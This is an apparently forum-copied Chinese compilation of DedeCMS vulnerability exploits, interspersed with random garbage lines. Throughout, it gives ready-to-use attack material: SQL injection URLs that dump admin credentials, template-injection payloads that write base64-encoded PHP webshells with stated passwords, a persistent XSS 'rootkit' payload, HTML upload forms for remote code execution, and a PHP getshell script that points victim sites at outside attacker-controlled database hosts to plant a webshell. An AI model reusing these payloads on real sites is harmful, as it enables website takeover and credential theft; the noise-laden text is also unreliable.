dedecms漏洞总结

admin

, Y+ r2 |  n  I1 o# ?; ?) c+ lDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 z7 s. p5 P* z% Z
7 x9 U, S/ F" P4 n- ]7 |
- I, \9 B: n, C" j3 c, i6 I  B
/ W7 b+ Q7 F" B6 `5 V
% w4 C( P& y6 a" t  e/ m4 V1 I4 ^+ d' W

+ Q5 g4 |8 Q  h9 H4 ?8 F
6 g% l4 i) W0 t. q- ]
* D1 }& S$ s0 a8 ZDedeCms v5.6 嵌入恶意代码执行漏洞
+ B5 R$ x  d+ t( f1 M. q6 Z注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
8 \; q$ X  M- I- U) _a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
, ]: Y* U2 q( I: ?4 ?- |生成x.php 密码xiao，直接生成一句话。
$ j$ d: Q0 L" t4 S
/ d& y0 f' ]8 W2 V3 T" x




  `0 ^6 U) V6 R9 {4 X! L

Dede 5.6 GBK SQL注入漏洞
8 `$ W0 G: s( V2 H+ s) Dhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

! E, u7 [- V$ y% R
$ _# l$ y/ e/ K
9 I2 s1 c8 f, u- l3 N; n" Z& C



& b2 b$ Q. u' q- E! {) _8 Q
% H3 \, c2 _3 ?7 m! _8 E, @' ?DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

+ f9 Y3 [  S( g4 F  i% o/ T
2 R- C: t2 ?, ]


. a% @( x, ]& K+ n1 z% v! \7 e' q
DEDECMS 全版本 gotopage变量XSS漏洞
0 O0 p# g# g- w! A0 T- a$ a1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

2 M0 a) L( n! h6 ]. G1 g. [- l
7 f- i- n* p0 P; ^$ I7 X2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
6 ^! |$ a8 n% Z6 r& ohttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
. U# V3 S) ?; \9 P" ~
' H6 y: f: X3 n6 v3 A
8 R1 q7 U: y& m; a" _- n# ]http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
' N$ W$ X2 m5 U' ?<?php
error_reporting(E_ERROR);
set_time_limit(0);
8 E; @3 j" |1 Y1 e! ~( Aprint_r('
' e) N' i& ^! d2 T. EDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
7 h# q- l+ _0 D8 D2 r);
8 A9 `" [4 M- ?) f' p1 pecho "\r\n";
if($argv[2]==null){
. H0 Z- y7 x2 R, a+ F5 _" bprint_r('
+---------------------------------------------------------------------------+
7 I0 U$ M% D, R* r1 mUsage: php '.$argv[0].' url aid path
7 c; s) d4 B! y+ b, S, Zaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
+ D$ x3 u4 M3 h: z; I  u  y" y# tExample:
php '.$argv[0].' www.site.com 1 old
$ K" \5 X) a1 ~" r+---------------------------------------------------------------------------+
6 b/ {! I% W$ c0 S0 q/ {');
exit;
}
$url=$argv[1];
$aid=$argv[2];
5 W8 T4 n$ ^, S* m$path=$argv[3];
$exp=Getshell($url,$aid,$path);
: b. ]" L) U. Zif (strpos($exp,"OK")>12){
, Y6 x, ]& F% V( jecho "
7 X: b& d$ N  \+ {* @3 x$ pExploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
1 I) ^: m6 O) ]* _. L
7 Z" n6 |' o6 j
7 B9 n7 i3 q% }3 eif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

6 ^8 u' \: ^" n
7 {8 U4 K/ @; M; I* x! H( j, H}else{
echo "
Exploit Failed \n";
" _! ?; w. Q; F: `}
function Getshell($url,$aid,$path){
$id=$aid;
% z7 P$ z5 F# r# x/ h0 L$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
0 b) p4 X& A5 D# H' _& b* P/ K" j$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
5 X2 v8 {7 W% k, Y2 Z$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
  Y- ~& u8 }& @- b/ z8 S+ A- M$data .= $content."\r\n";
$ x. h7 i# ^, V, a0 Y$ock=fsockopen($host,$port);
# W9 i# `2 S# H; v; cif (!$ock) {
echo "
8 l: _: N. X" FNo response from ".$host."\n";
}
fwrite($ock,$data);
3 l3 P, t" [: h' j  Hwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
* C, M% d" ~  N}
( h: m# c; G- q0 F0 r

. [4 T" B; e: ~1 y/ ]3 N* r% s6 m?>

$ w5 D. l# D* V3 d5 M

% H) U6 K( V* K6 T
7 _: \7 ?- A- ]5 l0 j+ ^8 c0 o


4 l7 D: f& Y! Q7 u  Z/ {8 G

; s  d& @: o3 A) _3 p
# `+ E  N+ c  j, C+ g9 EDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
" s( r; Q4 D! _6 s+ v1 [- w. `! n2 \http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
* Y+ S+ O. B2 V0 ?* L' F: o
( }) l; @" d/ Q  i4 H: Q6 e% j3 L
! z( Z7 P: x- z* J( j# k; S把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现
$ U# H4 ]5 }( z* |" n
- F( T6 W5 B/ z9 a0 o! h5 ]) t, s" T
/ d$ y/ ]5 V' y


( J% x& ^# z% K0 ^+ h

3 n; G1 _* Y$ f
2 }; J$ w5 q! M8 T( v' w# v
) i, W/ h6 z0 c' u7 e. w6 v1 J5 e" Y
Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


6 W  M4 l( y# ?* m: r, D再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
6 q! F8 b7 O. D* G0 r! c<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
9 r+ \; n% j( o- d: a- r2 [<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
4 H  ]% \: \* k<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
: O2 E5 X' S( D* W3 Y* N4 S}
! j& M3 _/ r  t4 e9 j+ c7 R3 r+ W</script>

, C# Z' f$ a5 o0 `- }" q' V



4 ^) r3 V1 X: B2 ]7 P) f7 A$ q& q$ g



9 b, Q6 S. q, ]7 n6 }
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
! u" z2 o/ F1 k+ j# P# aa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
# `/ M" I+ d! ?9 v8 a生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
5 I1 N' ?1 F+ _& J& hDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
+ J3 A2 |# f( k- i! |% Nuploads/userup/2/12OMX04-15A.jpg


* }% K. i" f! |. m模板内容是（如果限制图片格式，加gif89a）：
% s; G2 e. n: P6 i! q: p{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
& }0 d$ n$ r/ G6 i+ s/ q! A' f1 N@fclose($fp);
; @! F4 A6 g; }# m: g{/dede:name}
* t8 ^8 N# R9 m, n: L2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
4 e& U1 E7 x% U<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
8 p2 \7 I. U" ?% ]<input type="hidden" name="channelid" value="1" />
; V5 X/ e8 \9 c; O7 n3 ?<input type="hidden" name="oldlitpic" value="" />
( f. F. C3 N* {! g1 Z% W; _<input type="hidden" name="sortrank" value="1275972263" />
: }& b, [% F7 ~

<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
# x$ K4 p' M6 c) m

4 `% b4 @! p2 C<div class="postForm">
<label>标题：</label>
. ~% c, c. J2 j' U, z<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
- B# `/ }. [' z, w. d

<label>标签TAG：</label>
2 b+ T( [- H$ Q' a<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

% U2 ^& x( U: J2 p3 q
) f6 N* u8 A& Y; N" V& E3 c+ @<label>作者：</label>
! D3 f  n  W, O; ~6 m<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
( z- ^4 R0 q4 J  T, ^

<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
+ s* Q- u: U" G8 L5 ]  J</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
+ R. s9 Y" ~; B, H<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
0 z/ F% \5 V5 h<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
2 |' C$ a! v9 Q/ n& G5 u
) n, c1 r" @' z# _1 a: G' `- I
<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
; S- @! }: F' z% H# _9 K' B- a1 [
( k9 r* t  ?# A$ x* P6 A# k
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
# Z9 u7 F6 e  Ivalue="templet,htmltext;">（这里构造）
3 {- s  e: k7 z* M</div>
/ P) Z" s+ d  `+ j- F

<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>


<div class="contentShow postForm">
  b7 M/ ]# `3 y0 y<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

; t4 t0 B# K' k2 ]  i1 i# O
6 B& R  w8 R! a* b<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
3 o! f; z# }2 k( J<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
' g. R5 }% @7 h5 b9 N+ u
1 p7 Z/ ]" U% @( w5 z1 m
8 z3 h6 q8 t9 {# e+ h+ ~$ E<button class="button2" type="submit">提交</button>
8 @' k7 r9 w; ~. g, A7 H) o<button class="button2 ml10" type="reset">重置</button>
* K3 }! w0 V. a! _! r8 t3 Z</div>

8 x! n2 m% E: @# P4 H7 n
</div>
" k" M" t# \; z' x9 k6 Z0 [
! E- [5 Q. n2 p. d
% \$ [* @* O' B$ i% Y</form>

' b* m; L6 H- o9 H& x8 C0 z! y% o
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
* [& R7 q4 h1 T. k& u/ Thttp://127.0.0.1/dede/plus/view.php?aid=2
7 ^- ]8 D7 L. X7 ~即可以在plus目录下生成webshell：1.php




8 u5 T( v( w* |4 F- p5 m; \* ^
1 D* L* k! y$ _- v1 j  H( H- U

- {" b9 f+ G! @$ A& D( I
$ i% x! `. `; V1 R, E
( Z8 H* k0 F2 E0 ]5 Y/ p

9 C$ a% f) \; x+ |
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
# V* U0 H/ {* N% R& C# e& \* z保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
6 f* I' N' z) ]" v<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
8 F/ h& O  @5 f( W6 T" B<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
* C! s6 A, ?! ^1 S' e! X: _<input name="addonfile" type="file" id="addonfile"/>
! X" f2 ?0 I/ l) k) u( _" g<button class="button2" type="submit" >更改</button>
( V* \/ F, W" y7 B+ H" w8 V1 O</form>

! W( Y3 q6 t6 a! ~6 @4 q; y' H
/ a' X% j5 K) r6 k7 j构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
3 r: n: M9 P6 S$ L9 n发表文章，然后构造修改表单如下：

+ k) |% m- N" Y  k
# z8 Z# e  Y# V% m) ?3 H<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
5 ?  o) x; D* D& J* J<input type="hidden" name="dopost" value="save" />
% F8 |. }/ L( b3 q<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
2 N- {$ {: |+ ^* J0 p" k* I- G) l) j<input type="hidden" name="sortrank" value="1282049150" />
% P1 p) e. i+ @) `  ]) i<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
+ o' u6 i' ^( x9 [* L! @<option value='1' class='option3' selected=''>Test</option>
) i8 p8 @  X+ A- @4 Q6 D<select name='mtypesid' size='1'>
; Z/ B7 d2 x& N% \9 H<option value='0' selected>请选择分类...</option>
" v2 Y* w! l; T* Z9 M<option value='1' class='option3' selected>aa</option></select>
6 y' ], }) h3 C0 E5 V' |: A1 n<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
, o5 c; Z& y- U2 e0 u<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
& n: E* M) _+ }* ]( p$ \3 Y</form>
' K4 R# `* M% I
+ F6 Q; X6 q3 z
* p/ j: @# U* U) s
/ X$ D# p9 T1 H. ~+ A
. u4 D9 x3 l+ u3 f

/ l9 S5 k) P2 q8 x
" r5 j; x- [0 n; @7 a

. V8 L% }; q$ v9 m( Z. p7 o
! N0 z( ^% H$ S  e, n

9 C6 d5 N4 E9 E织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

+ H6 h+ {' @0 @7 a. A+ T+ \1 L



) x4 U3 M9 m9 `0 i# {, a
& M9 k/ s' s9 ]# C0 I4 r; U
% u$ l7 o0 K5 G
# D4 u9 e2 }& b, ?$ N
. x! s2 `3 u! v2 ~% L
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
# O2 x! N$ P3 F, V" f





2 Z/ X7 Q2 \* N

, f$ W' c  \4 t/ R4 t
2 Z! d5 i" R) v  E
: q! M/ ^  I) ^+ MDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
. l/ `: ]) M1 gplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
9 r$ E' i* M' a2 {密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5



+ f4 ?( l9 o4 K- m9 ]

  i( n. i0 E$ l8 S( J9 ]
6 T; X/ c8 d$ i) A* d2 [

* v0 O/ B; v; Y5 ]8 {
: _$ \( ]8 X3 I7 ~  F) ~! v
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
6 H( s5 z; k. g2 b  D, vhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
( {/ \& e+ t& j- }# q
5 N7 y% A6 Y, \1 D9 c

+ R- R$ n/ u+ A2 Z
1 l3 ^: y3 D7 s5 [) L  ^' a
% s# ~0 E! v1 X, m* P! H




织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
4 t1 ?; Y* J% X<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
5 B; r) ~. D0 b! S</head>
- O$ E$ R) H8 P5 A, T! [<body style="FONT-SIZE: 9pt">
; l, G5 T7 m0 `* U' a---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
! c. L9 Z1 z/ v) [+ _<input type='hidden' name='activepath' value='/data/cache/' />
1 f+ G) e! E5 A. F<input type='hidden' name='cfg_basedir' value='../../' />
/ d7 V+ a! l- Y$ H<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
! m' o6 }7 r' n+ X<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
# Z( N* l; y3 `6 y6 K<input type='hidden' name='f' value='form1.enclosure' />
6 r' Q  z* F; b<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
$ b( y& t9 a: p4 V1 `: C" Y<input type='submit' name='sb1' value='确定' />
! C  T' p7 }9 d/ J0 D3 S</form>
4 K3 h: k# n* v8 i& a. x<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
0 H) X! f+ j# o% h, w  d! n
& H6 P4 l1 z3 v) g1 H2 g

1 `7 r5 B( Q% d$ v% Q
7 g# ~. b" e2 M7 h) b

+ f2 Q. E" n& ?3 E/ q



织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
1 Z$ N: \4 r& \0 @# X+ C$ [8 ?利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1 y' \" x6 u1 a* V1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
6 n+ Y; u8 t" }, z; d" l0 o& i

: e9 [; N5 C+ d; ]7 z6 ]0 t7 N+ |2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
$ S2 f. Q; V8 R. V9 ~+ n0 G( n6 lError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
7 ~/ O  M, [: v0 Q
, ?$ k/ B5 C( h
* B/ h" N8 Y, [/ A3 y3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
- w9 G# H3 ^( K& B( N% ]
: H7 b  R9 }( W9 @0 T9 ?3 j1 J- t
. q* R1 ?. ~! z5 K' H<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
/ e# z  e4 i1 J" ]! q+ V  D# J4 q/ l

按确定后的看到第2步骤的信息表示文件木马上传成功.
. i% I) ^* W  b7 r' ?" x
0 r6 F' l4 a3 f* {



' F( `' A) ]. k# |

" `# g0 v8 h9 s* G! O


% {3 f1 U! w" _5 M8 P/ j
' Y% m4 r! A) r9 `* V7 K: i' g  A
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*